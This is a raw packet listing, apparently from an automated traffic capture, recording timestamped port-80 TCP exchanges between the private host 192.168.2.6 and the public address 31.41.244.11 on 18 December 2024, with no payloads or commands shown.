Dec 18, 2024 11:47:44.466283083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.466325045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.467344999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.467396975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.467478991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.467528105 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.468497992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.468548059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.468625069 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.468664885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.469669104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.469715118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.469748974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.469788074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.470875025 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.470921993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.470994949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.471034050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.472022057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.472069025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.472115993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.472155094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.473231077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.473278046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.473336935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.473376036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.474419117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.474466085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.474512100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.474560976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.475688934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.475739956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.475822926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.475863934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.476775885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.476830006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.476861000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.476896048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.477933884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.477982998 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.478116035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.478153944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.479114056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.479159117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.479202032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.479238033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.480295897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.480339050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.480385065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.480423927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.481482983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.481529951 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.481616020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.481656075 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.482851982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.482907057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.482927084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.482964039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.483884096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.483933926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.483972073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.484011889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.485090971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.485150099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.485227108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.485270977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.486279964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.486327887 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.486401081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.486439943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.487481117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.487529039 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.487570047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.487605095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.488629103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.488677025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.488748074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.488787889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.489784956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.489834070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.489886999 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.489928007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.490964890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.491013050 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.491079092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.491118908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.492207050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.492255926 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.492427111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.492466927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.493340015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.493388891 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.493447065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.493490934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.494502068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.494551897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.494631052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.494672060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.495738983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.495788097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.495922089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.495966911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.496929884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.496973038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.497037888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.497076988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.498123884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.498172045 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.498215914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.498255968 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.499387026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.499452114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.499572992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.499614000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.500430107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.500478983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.500514984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.500559092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.501656055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.501710892 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.501774073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.501815081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.502826929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.502876997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.502885103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.502933025 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.504069090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.504102945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.504126072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.504138947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.505225897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.505275965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.505317926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.505357981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.506371021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.506431103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.506474018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.506510973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.507615089 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.507667065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.507684946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.507723093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.508702993 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.508774042 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.508800983 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.508841991 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.509905100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.509955883 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.509995937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.510041952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.511107922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.511152983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.511207104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.511245012 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.512270927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.512326956 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.512378931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.512420893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.513428926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.513479948 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.513612032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.513709068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.514652967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.514704943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.514750957 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.514790058 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.515810013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.515856028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.515933037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.515971899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.516984940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.517102003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.517122030 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.517167091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.518218040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.518270969 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.518316031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.518362999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.519342899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.519402027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.519515991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.519556999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.520540953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.520591021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.520638943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.520678043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.521755934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.521791935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.521816015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.521835089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.522933006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.522985935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.523024082 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.523063898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.652724028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.652795076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.652795076 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.652841091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.653279066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.653527021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.653552055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.653573036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.653645992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.653687000 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.654695034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.654726982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.654741049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.655097008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.655879021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.655926943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.656025887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.656065941 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.657022953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.657114029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.657243013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.657320023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.658278942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.658333063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.658379078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.658426046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.659451962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.659506083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.659554958 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.659600973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.660561085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.660618067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.660698891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.660739899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.661869049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.661921024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.661922932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.661956072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.662974119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.663028955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.663067102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.663105965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.664171934 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.664247036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.664275885 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.664344072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.665323019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.665404081 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.665419102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.665452957 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.666496038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.666547060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.666676998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.666712999 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.667656898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.667696953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.667783976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.667819023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.668844938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.668915033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.669022083 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.669063091 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.670017004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.670048952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.670085907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.671235085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.671287060 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.671350002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.671386003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.672446012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.672493935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.672580004 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.672616959 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.673599005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.673648119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.673810005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.673849106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.675029039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.675084114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.675117016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.675152063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.676302910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.676364899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.676424026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.676474094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.677257061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.677311897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.677372932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.677413940 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.678416967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.678469896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.678538084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.678577900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.679491043 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.679547071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.679600000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.679641962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.680665016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.680715084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.680769920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.680813074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.681958914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.682015896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.682215929 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.682255983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.683128119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.683171988 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.683208942 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.683248043 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.684242964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.684284925 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.684354067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.684391975 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.685457945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.685498953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.685576916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.685615063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.686588049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.686631918 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.686780930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.686819077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.687782049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.687822104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.687876940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.687913895 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.688992023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.689037085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.689062119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.689104080 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.690179110 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.690232038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.690241098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.690282106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.691350937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.691399097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.691412926 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.691453934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.692513943 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.692559004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.692568064 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.692605019 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.693672895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.693718910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.693763018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:44.693799973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:44.694895029 CET	80	49878	31.41.244.11	192.168.2.6
